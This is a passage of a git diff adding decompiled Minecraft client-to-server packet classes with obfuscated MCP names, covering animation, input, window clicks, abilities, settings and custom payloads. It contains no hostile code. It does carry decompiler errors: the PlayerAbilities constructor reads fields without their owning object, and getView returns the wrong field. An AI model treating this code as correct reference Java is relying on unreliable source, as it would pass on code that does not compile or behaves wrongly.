+  {
+    processPacket((INetHandlerPlayServer)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/client/C0APacketAnimation.java b/src/minecraft/net/minecraft/network/play/client/C0APacketAnimation.java
new file mode 100644
index 0000000..f9a1a08
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/client/C0APacketAnimation.java
@@ -0,0 +1,35 @@
+package net.minecraft.network.play.client;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayServer;
+
+public class C0APacketAnimation
+  implements Packet
+{
+  private static final String __OBFID = "CL_00001345";
+  
+  public C0APacketAnimation() {}
+  
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {}
+  
+  public void writePacketData(PacketBuffer data) throws IOException
+  {}
+  
+  public void func_179721_a(INetHandlerPlayServer p_179721_1_)
+  {
+    p_179721_1_.func_175087_a(this);
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_179721_a((INetHandlerPlayServer)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/client/C0BPacketEntityAction.java b/src/minecraft/net/minecraft/network/play/client/C0BPacketEntityAction.java
new file mode 100644
index 0000000..975edd4
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/client/C0BPacketEntityAction.java
@@ -0,0 +1,89 @@
+package net.minecraft.network.play.client;
+
+import java.io.IOException;
+import net.minecraft.entity.Entity;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayServer;
+
+public class C0BPacketEntityAction implements Packet
+{
+  private int field_149517_a;
+  private Action field_149515_b;
+  private int field_149516_c;
+  private static final String __OBFID = "CL_00001366";
+  
+  public C0BPacketEntityAction() {}
+  
+  public C0BPacketEntityAction(Entity p_i45937_1_, Action p_i45937_2_)
+  {
+    this(p_i45937_1_, p_i45937_2_, 0);
+  }
+  
+  public C0BPacketEntityAction(Entity p_i45938_1_, Action p_i45938_2_, int p_i45938_3_)
+  {
+    field_149517_a = p_i45938_1_.getEntityId();
+    field_149515_b = p_i45938_2_;
+    field_149516_c = p_i45938_3_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149517_a = data.readVarIntFromBuffer();
+    field_149515_b = ((Action)data.readEnumValue(Action.class));
+    field_149516_c = data.readVarIntFromBuffer();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(field_149517_a);
+    data.writeEnumValue(field_149515_b);
+    data.writeVarIntToBuffer(field_149516_c);
+  }
+  
+  public void func_180765_a(INetHandlerPlayServer p_180765_1_)
+  {
+    p_180765_1_.processEntityAction(this);
+  }
+  
+  public Action func_180764_b()
+  {
+    return field_149515_b;
+  }
+  
+  public int func_149512_e()
+  {
+    return field_149516_c;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180765_a((INetHandlerPlayServer)handler);
+  }
+  
+  public static enum Action
+  {
+    START_SNEAKING("START_SNEAKING", 0), 
+    STOP_SNEAKING("STOP_SNEAKING", 1), 
+    STOP_SLEEPING("STOP_SLEEPING", 2), 
+    START_SPRINTING("START_SPRINTING", 3), 
+    STOP_SPRINTING("STOP_SPRINTING", 4), 
+    RIDING_JUMP("RIDING_JUMP", 5), 
+    OPEN_INVENTORY("OPEN_INVENTORY", 6);
+    
+    private static final Action[] $VALUES = { START_SNEAKING, STOP_SNEAKING, STOP_SLEEPING, START_SPRINTING, STOP_SPRINTING, RIDING_JUMP, OPEN_INVENTORY };
+    private static final String __OBFID = "CL_00002283";
+    
+    private Action(String p_i45936_1_, int p_i45936_2_) {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/client/C0CPacketInput.java b/src/minecraft/net/minecraft/network/play/client/C0CPacketInput.java
new file mode 100644
index 0000000..27a83ac
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/client/C0CPacketInput.java
@@ -0,0 +1,96 @@
+package net.minecraft.network.play.client;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayServer;
+
+
+
+public class C0CPacketInput
+  implements Packet
+{
+  private float strafeSpeed;
+  private float forwardSpeed;
+  private boolean jumping;
+  private boolean sneaking;
+  private static final String __OBFID = "CL_00001367";
+  
+  public C0CPacketInput() {}
+  
+  public C0CPacketInput(float p_i45261_1_, float p_i45261_2_, boolean p_i45261_3_, boolean p_i45261_4_)
+  {
+    strafeSpeed = p_i45261_1_;
+    forwardSpeed = p_i45261_2_;
+    jumping = p_i45261_3_;
+    sneaking = p_i45261_4_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    strafeSpeed = data.readFloat();
+    forwardSpeed = data.readFloat();
+    byte var2 = data.readByte();
+    jumping = ((var2 & 0x1) > 0);
+    sneaking = ((var2 & 0x2) > 0);
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeFloat(strafeSpeed);
+    data.writeFloat(forwardSpeed);
+    byte var2 = 0;
+    
+    if (jumping)
+    {
+      var2 = (byte)(var2 | 0x1);
+    }
+    
+    if (sneaking)
+    {
+      var2 = (byte)(var2 | 0x2);
+    }
+    
+    data.writeByte(var2);
+  }
+  
+  public void func_180766_a(INetHandlerPlayServer p_180766_1_)
+  {
+    p_180766_1_.processInput(this);
+  }
+  
+  public float getStrafeSpeed()
+  {
+    return strafeSpeed;
+  }
+  
+  public float getForwardSpeed()
+  {
+    return forwardSpeed;
+  }
+  
+  public boolean isJumping()
+  {
+    return jumping;
+  }
+  
+  public boolean isSneaking()
+  {
+    return sneaking;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180766_a((INetHandlerPlayServer)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/client/C0DPacketCloseWindow.java b/src/minecraft/net/minecraft/network/play/client/C0DPacketCloseWindow.java
new file mode 100644
index 0000000..5fb476c
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/client/C0DPacketCloseWindow.java
@@ -0,0 +1,49 @@
+package net.minecraft.network.play.client;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayServer;
+
+public class C0DPacketCloseWindow implements Packet
+{
+  private int windowId;
+  private static final String __OBFID = "CL_00001354";
+  
+  public C0DPacketCloseWindow() {}
+  
+  public C0DPacketCloseWindow(int p_i45247_1_)
+  {
+    windowId = p_i45247_1_;
+  }
+  
+  public void func_180759_a(INetHandlerPlayServer p_180759_1_)
+  {
+    p_180759_1_.processCloseWindow(this);
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    windowId = data.readByte();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeByte(windowId);
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180759_a((INetHandlerPlayServer)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/client/C0EPacketClickWindow.java b/src/minecraft/net/minecraft/network/play/client/C0EPacketClickWindow.java
new file mode 100644
index 0000000..4d96632
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/client/C0EPacketClickWindow.java
@@ -0,0 +1,114 @@
+package net.minecraft.network.play.client;
+
+import java.io.IOException;
+import net.minecraft.item.ItemStack;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayServer;
+
+
+
+
+
+
+
+
+
+
+
+public class C0EPacketClickWindow
+  implements Packet
+{
+  private int windowId;
+  private int slotId;
+  private int usedButton;
+  private short actionNumber;
+  private ItemStack clickedItem;
+  private int mode;
+  private static final String __OBFID = "CL_00001353";
+  
+  public C0EPacketClickWindow() {}
+  
+  public C0EPacketClickWindow(int p_i45246_1_, int p_i45246_2_, int p_i45246_3_, int p_i45246_4_, ItemStack p_i45246_5_, short p_i45246_6_)
+  {
+    windowId = p_i45246_1_;
+    slotId = p_i45246_2_;
+    usedButton = p_i45246_3_;
+    clickedItem = (p_i45246_5_ != null ? p_i45246_5_.copy() : null);
+    actionNumber = p_i45246_6_;
+    mode = p_i45246_4_;
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayServer handler)
+  {
+    handler.processClickWindow(this);
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    windowId = data.readByte();
+    slotId = data.readShort();
+    usedButton = data.readByte();
+    actionNumber = data.readShort();
+    mode = data.readByte();
+    clickedItem = data.readItemStackFromBuffer();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeByte(windowId);
+    data.writeShort(slotId);
+    data.writeByte(usedButton);
+    data.writeShort(actionNumber);
+    data.writeByte(mode);
+    data.writeItemStackToBuffer(clickedItem);
+  }
+  
+  public int getWindowId()
+  {
+    return windowId;
+  }
+  
+  public int getSlotId()
+  {
+    return slotId;
+  }
+  
+  public int getUsedButton()
+  {
+    return usedButton;
+  }
+  
+  public short getActionNumber()
+  {
+    return actionNumber;
+  }
+  
+  public ItemStack getClickedItem()
+  {
+    return clickedItem;
+  }
+  
+  public int getMode()
+  {
+    return mode;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayServer)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/client/C0FPacketConfirmTransaction.java b/src/minecraft/net/minecraft/network/play/client/C0FPacketConfirmTransaction.java
new file mode 100644
index 0000000..19c6cb5
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/client/C0FPacketConfirmTransaction.java
@@ -0,0 +1,70 @@
+package net.minecraft.network.play.client;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayServer;
+
+public class C0FPacketConfirmTransaction implements Packet
+{
+  private int id;
+  private short uid;
+  private boolean accepted;
+  private static final String __OBFID = "CL_00001351";
+  
+  public C0FPacketConfirmTransaction() {}
+  
+  public C0FPacketConfirmTransaction(int p_i45244_1_, short p_i45244_2_, boolean p_i45244_3_)
+  {
+    id = p_i45244_1_;
+    uid = p_i45244_2_;
+    accepted = p_i45244_3_;
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayServer handler)
+  {
+    handler.processConfirmTransaction(this);
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    id = data.readByte();
+    uid = data.readShort();
+    accepted = (data.readByte() != 0);
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeByte(id);
+    data.writeShort(uid);
+    data.writeByte(accepted ? 1 : 0);
+  }
+  
+  public int getId()
+  {
+    return id;
+  }
+  
+  public short getUid()
+  {
+    return uid;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayServer)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/client/C10PacketCreativeInventoryAction.java b/src/minecraft/net/minecraft/network/play/client/C10PacketCreativeInventoryAction.java
new file mode 100644
index 0000000..715786b
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/client/C10PacketCreativeInventoryAction.java
@@ -0,0 +1,64 @@
+package net.minecraft.network.play.client;
+
+import java.io.IOException;
+import net.minecraft.item.ItemStack;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayServer;
+
+public class C10PacketCreativeInventoryAction implements Packet
+{
+  private int slotId;
+  private ItemStack stack;
+  private static final String __OBFID = "CL_00001369";
+  
+  public C10PacketCreativeInventoryAction() {}
+  
+  public C10PacketCreativeInventoryAction(int p_i45263_1_, ItemStack p_i45263_2_)
+  {
+    slotId = p_i45263_1_;
+    stack = (p_i45263_2_ != null ? p_i45263_2_.copy() : null);
+  }
+  
+  public void func_180767_a(INetHandlerPlayServer p_180767_1_)
+  {
+    p_180767_1_.processCreativeInventoryAction(this);
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    slotId = data.readShort();
+    stack = data.readItemStackFromBuffer();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeShort(slotId);
+    data.writeItemStackToBuffer(stack);
+  }
+  
+  public int getSlotId()
+  {
+    return slotId;
+  }
+  
+  public ItemStack getStack()
+  {
+    return stack;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180767_a((INetHandlerPlayServer)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/client/C11PacketEnchantItem.java b/src/minecraft/net/minecraft/network/play/client/C11PacketEnchantItem.java
new file mode 100644
index 0000000..7a19181
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/client/C11PacketEnchantItem.java
@@ -0,0 +1,66 @@
+package net.minecraft.network.play.client;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayServer;
+
+public class C11PacketEnchantItem implements Packet
+{
+  private int id;
+  private int button;
+  private static final String __OBFID = "CL_00001352";
+  
+  public C11PacketEnchantItem() {}
+  
+  public C11PacketEnchantItem(int p_i45245_1_, int p_i45245_2_)
+  {
+    id = p_i45245_1_;
+    button = p_i45245_2_;
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayServer handler)
+  {
+    handler.processEnchantItem(this);
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    id = data.readByte();
+    button = data.readByte();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeByte(id);
+    data.writeByte(button);
+  }
+  
+  public int getId()
+  {
+    return id;
+  }
+  
+  public int getButton()
+  {
+    return button;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayServer)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/client/C12PacketUpdateSign.java b/src/minecraft/net/minecraft/network/play/client/C12PacketUpdateSign.java
new file mode 100644
index 0000000..646f1be
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/client/C12PacketUpdateSign.java
@@ -0,0 +1,77 @@
+package net.minecraft.network.play.client;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayServer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IChatComponent;
+
+public class C12PacketUpdateSign implements Packet
+{
+  private BlockPos field_179723_a;
+  private IChatComponent[] lines;
+  private static final String __OBFID = "CL_00001370";
+  
+  public C12PacketUpdateSign() {}
+  
+  public C12PacketUpdateSign(BlockPos p_i45933_1_, IChatComponent[] p_i45933_2_)
+  {
+    field_179723_a = p_i45933_1_;
+    lines = new IChatComponent[] { p_i45933_2_[0], p_i45933_2_[1], p_i45933_2_[2], p_i45933_2_[3] };
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_179723_a = data.readBlockPos();
+    lines = new IChatComponent[4];
+    
+    for (int var2 = 0; var2 < 4; var2++)
+    {
+      lines[var2] = data.readChatComponent();
+    }
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeBlockPos(field_179723_a);
+    
+    for (int var2 = 0; var2 < 4; var2++)
+    {
+      data.writeChatComponent(lines[var2]);
+    }
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayServer handler)
+  {
+    handler.processUpdateSign(this);
+  }
+  
+  public BlockPos func_179722_a()
+  {
+    return field_179723_a;
+  }
+  
+  public IChatComponent[] func_180768_b()
+  {
+    return lines;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayServer)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/client/C13PacketPlayerAbilities.java b/src/minecraft/net/minecraft/network/play/client/C13PacketPlayerAbilities.java
new file mode 100644
index 0000000..72ee470
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/client/C13PacketPlayerAbilities.java
@@ -0,0 +1,140 @@
+package net.minecraft.network.play.client;
+
+import java.io.IOException;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayServer;
+
+public class C13PacketPlayerAbilities implements Packet
+{
+  private boolean invulnerable;
+  private boolean flying;
+  private boolean allowFlying;
+  private boolean creativeMode;
+  private float flySpeed;
+  private float walkSpeed;
+  private static final String __OBFID = "CL_00001364";
+  
+  public C13PacketPlayerAbilities() {}
+  
+  public C13PacketPlayerAbilities(PlayerCapabilities capabilities)
+  {
+    setInvulnerable(disableDamage);
+    setFlying(isFlying);
+    setAllowFlying(allowFlying);
+    setCreativeMode(isCreativeMode);
+    setFlySpeed(capabilities.getFlySpeed());
+    setWalkSpeed(capabilities.getWalkSpeed());
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    byte var2 = data.readByte();
+    setInvulnerable((var2 & 0x1) > 0);
+    setFlying((var2 & 0x2) > 0);
+    setAllowFlying((var2 & 0x4) > 0);
+    setCreativeMode((var2 & 0x8) > 0);
+    setFlySpeed(data.readFloat());
+    setWalkSpeed(data.readFloat());
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    byte var2 = 0;
+    
+    if (isInvulnerable())
+    {
+      var2 = (byte)(var2 | 0x1);
+    }
+    
+    if (isFlying())
+    {
+      var2 = (byte)(var2 | 0x2);
+    }
+    
+    if (isAllowFlying())
+    {
+      var2 = (byte)(var2 | 0x4);
+    }
+    
+    if (isCreativeMode())
+    {
+      var2 = (byte)(var2 | 0x8);
+    }
+    
+    data.writeByte(var2);
+    data.writeFloat(flySpeed);
+    data.writeFloat(walkSpeed);
+  }
+  
+  public void func_180761_a(INetHandlerPlayServer p_180761_1_)
+  {
+    p_180761_1_.processPlayerAbilities(this);
+  }
+  
+  public boolean isInvulnerable()
+  {
+    return invulnerable;
+  }
+  
+  public void setInvulnerable(boolean isInvulnerable)
+  {
+    invulnerable = isInvulnerable;
+  }
+  
+  public boolean isFlying()
+  {
+    return flying;
+  }
+  
+  public void setFlying(boolean isFlying)
+  {
+    flying = isFlying;
+  }
+  
+  public boolean isAllowFlying()
+  {
+    return allowFlying;
+  }
+  
+  public void setAllowFlying(boolean isAllowFlying)
+  {
+    allowFlying = isAllowFlying;
+  }
+  
+  public boolean isCreativeMode()
+  {
+    return creativeMode;
+  }
+  
+  public void setCreativeMode(boolean isCreativeMode)
+  {
+    creativeMode = isCreativeMode;
+  }
+  
+  public void setFlySpeed(float flySpeedIn)
+  {
+    flySpeed = flySpeedIn;
+  }
+  
+  public void setWalkSpeed(float walkSpeedIn)
+  {
+    walkSpeed = walkSpeedIn;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180761_a((INetHandlerPlayServer)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/client/C14PacketTabComplete.java b/src/minecraft/net/minecraft/network/play/client/C14PacketTabComplete.java
new file mode 100644
index 0000000..02cfd7f
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/client/C14PacketTabComplete.java
@@ -0,0 +1,81 @@
+package net.minecraft.network.play.client;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayServer;
+import net.minecraft.util.BlockPos;
+import org.apache.commons.lang3.StringUtils;
+
+public class C14PacketTabComplete implements Packet
+{
+  private String message;
+  private BlockPos field_179710_b;
+  private static final String __OBFID = "CL_00001346";
+  
+  public C14PacketTabComplete() {}
+  
+  public C14PacketTabComplete(String msg)
+  {
+    this(msg, null);
+  }
+  
+  public C14PacketTabComplete(String p_i45948_1_, BlockPos p_i45948_2_)
+  {
+    message = p_i45948_1_;
+    field_179710_b = p_i45948_2_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    message = data.readStringFromBuffer(32767);
+    boolean var2 = data.readBoolean();
+    
+    if (var2)
+    {
+      field_179710_b = data.readBlockPos();
+    }
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeString(StringUtils.substring(message, 0, 32767));
+    boolean var2 = field_179710_b != null;
+    data.writeBoolean(var2);
+    
+    if (var2)
+    {
+      data.writeBlockPos(field_179710_b);
+    }
+  }
+  
+  public void func_180756_a(INetHandlerPlayServer p_180756_1_)
+  {
+    p_180756_1_.processTabComplete(this);
+  }
+  
+  public String getMessage()
+  {
+    return message;
+  }
+  
+  public BlockPos func_179709_b()
+  {
+    return field_179710_b;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180756_a((INetHandlerPlayServer)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/client/C15PacketClientSettings.java b/src/minecraft/net/minecraft/network/play/client/C15PacketClientSettings.java
new file mode 100644
index 0000000..db074c5
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/client/C15PacketClientSettings.java
@@ -0,0 +1,89 @@
+package net.minecraft.network.play.client;
+
+import java.io.IOException;
+import net.minecraft.entity.player.EntityPlayer.EnumChatVisibility;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayServer;
+
+public class C15PacketClientSettings implements Packet
+{
+  private String lang;
+  private int view;
+  private EntityPlayer.EnumChatVisibility chatVisibility;
+  private boolean enableColors;
+  private int field_179711_e;
+  private static final String __OBFID = "CL_00001350";
+  
+  public C15PacketClientSettings() {}
+  
+  public C15PacketClientSettings(String p_i45946_1_, int p_i45946_2_, EntityPlayer.EnumChatVisibility p_i45946_3_, boolean p_i45946_4_, int p_i45946_5_)
+  {
+    lang = p_i45946_1_;
+    view = p_i45946_2_;
+    chatVisibility = p_i45946_3_;
+    enableColors = p_i45946_4_;
+    field_179711_e = p_i45946_5_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    lang = data.readStringFromBuffer(7);
+    view = data.readByte();
+    chatVisibility = EntityPlayer.EnumChatVisibility.getEnumChatVisibility(data.readByte());
+    enableColors = data.readBoolean();
+    field_179711_e = data.readUnsignedByte();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeString(lang);
+    data.writeByte(view);
+    data.writeByte(chatVisibility.getChatVisibility());
+    data.writeBoolean(enableColors);
+    data.writeByte(field_179711_e);
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayServer handler)
+  {
+    handler.processClientSettings(this);
+  }
+  
+  public String getLang()
+  {
+    return lang;
+  }
+  
+  public EntityPlayer.EnumChatVisibility getChatVisibility()
+  {
+    return chatVisibility;
+  }
+  
+  public boolean isColorsEnabled()
+  {
+    return enableColors;
+  }
+  
+  public int getView()
+  {
+    return field_179711_e;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayServer)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/client/C16PacketClientStatus.java b/src/minecraft/net/minecraft/network/play/client/C16PacketClientStatus.java
new file mode 100644
index 0000000..40d5ab2
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/client/C16PacketClientStatus.java
@@ -0,0 +1,66 @@
+package net.minecraft.network.play.client;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayServer;
+
+public class C16PacketClientStatus implements Packet
+{
+  private EnumState status;
+  private static final String __OBFID = "CL_00001348";
+  
+  public C16PacketClientStatus() {}
+  
+  public C16PacketClientStatus(EnumState statusIn)
+  {
+    status = statusIn;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    status = ((EnumState)data.readEnumValue(EnumState.class));
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeEnumValue(status);
+  }
+  
+  public void func_180758_a(INetHandlerPlayServer p_180758_1_)
+  {
+    p_180758_1_.processClientStatus(this);
+  }
+  
+  public EnumState getStatus()
+  {
+    return status;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180758_a((INetHandlerPlayServer)handler);
+  }
+  
+  public static enum EnumState
+  {
+    PERFORM_RESPAWN("PERFORM_RESPAWN", 0), 
+    REQUEST_STATS("REQUEST_STATS", 1), 
+    OPEN_INVENTORY_ACHIEVEMENT("OPEN_INVENTORY_ACHIEVEMENT", 2);
+    
+    private static final EnumState[] $VALUES = { PERFORM_RESPAWN, REQUEST_STATS, OPEN_INVENTORY_ACHIEVEMENT };
+    private static final String __OBFID = "CL_00001349";
+    
+    private EnumState(String p_i45947_1_, int p_i45947_2_) {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/client/C17PacketCustomPayload.java b/src/minecraft/net/minecraft/network/play/client/C17PacketCustomPayload.java
new file mode 100644
index 0000000..db4d159
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/client/C17PacketCustomPayload.java
@@ -0,0 +1,81 @@
+package net.minecraft.network.play.client;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayServer;
+
+public class C17PacketCustomPayload
+  implements Packet
+{
+  private String channel;
+  private PacketBuffer data;
+  private static final String __OBFID = "CL_00001356";
+  
+  public C17PacketCustomPayload() {}
+  
+  public C17PacketCustomPayload(String p_i45945_1_, PacketBuffer p_i45945_2_)
+  {
+    channel = p_i45945_1_;
+    data = p_i45945_2_;
+    
+    if (p_i45945_2_.writerIndex() > 32767)
+    {
+      throw new IllegalArgumentException("Payload may not be larger than 32767 bytes");
+    }
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    channel = data.readStringFromBuffer(20);
+    int var2 = data.readableBytes();
+    
+    if ((var2 >= 0) && (var2 <= 32767))
+    {
+      this.data = new PacketBuffer(data.readBytes(var2));
+    }
+    else
+    {
+      throw new IOException("Payload may not be larger than 32767 bytes");
+    }
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeString(channel);
+    data.writeBytes(this.data);
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayServer handler)
+  {
+    handler.processVanilla250Packet(this);
+  }
+  
+  public String getChannelName()
+  {
+    return channel;
+  }
+  
+  public PacketBuffer getBufferData()
+  {
+    return data;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayServer)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/client/C18PacketSpectate.java b/src/minecraft/net/minecraft/network/play/client/C18PacketSpectate.java
new file mode 100644
index 0000000..2d6a201
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/client/C18PacketSpectate.java
@@ -0,0 +1,57 @@
+package net.minecraft.network.play.client;
+
+import java.io.IOException;
+import java.util.UUID;
+import net.minecraft.entity.Entity;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayServer;
+import net.minecraft.world.WorldServer;
+
+public class C18PacketSpectate implements Packet
+{
+  private UUID field_179729_a;
+  private static final String __OBFID = "CL_00002280";
+  
+  public C18PacketSpectate() {}
+  
+  public C18PacketSpectate(UUID p_i45932_1_)
+  {
+    field_179729_a = p_i45932_1_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_179729_a = data.readUuid();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeUuid(field_179729_a);
+  }
+  
+  public void func_179728_a(INetHandlerPlayServer p_179728_1_)
+  {
+    p_179728_1_.func_175088_a(this);
+  }
+  
+  public Entity func_179727_a(WorldServer p_179727_1_)
+  {
+    return p_179727_1_.getEntityFromUuid(field_179729_a);
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_179728_a((INetHandlerPlayServer)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/client/C19PacketResourcePackStatus.java b/src/minecraft/net/minecraft/network/play/client/C19PacketResourcePackStatus.java
new file mode 100644
index 0000000..465f6d0
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/client/C19PacketResourcePackStatus.java
@@ -0,0 +1,71 @@
+package net.minecraft.network.play.client;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayServer;
+
+public class C19PacketResourcePackStatus implements Packet
+{
+  private String field_179720_a;
+  private Action field_179719_b;
+  private static final String __OBFID = "CL_00002282";
+  
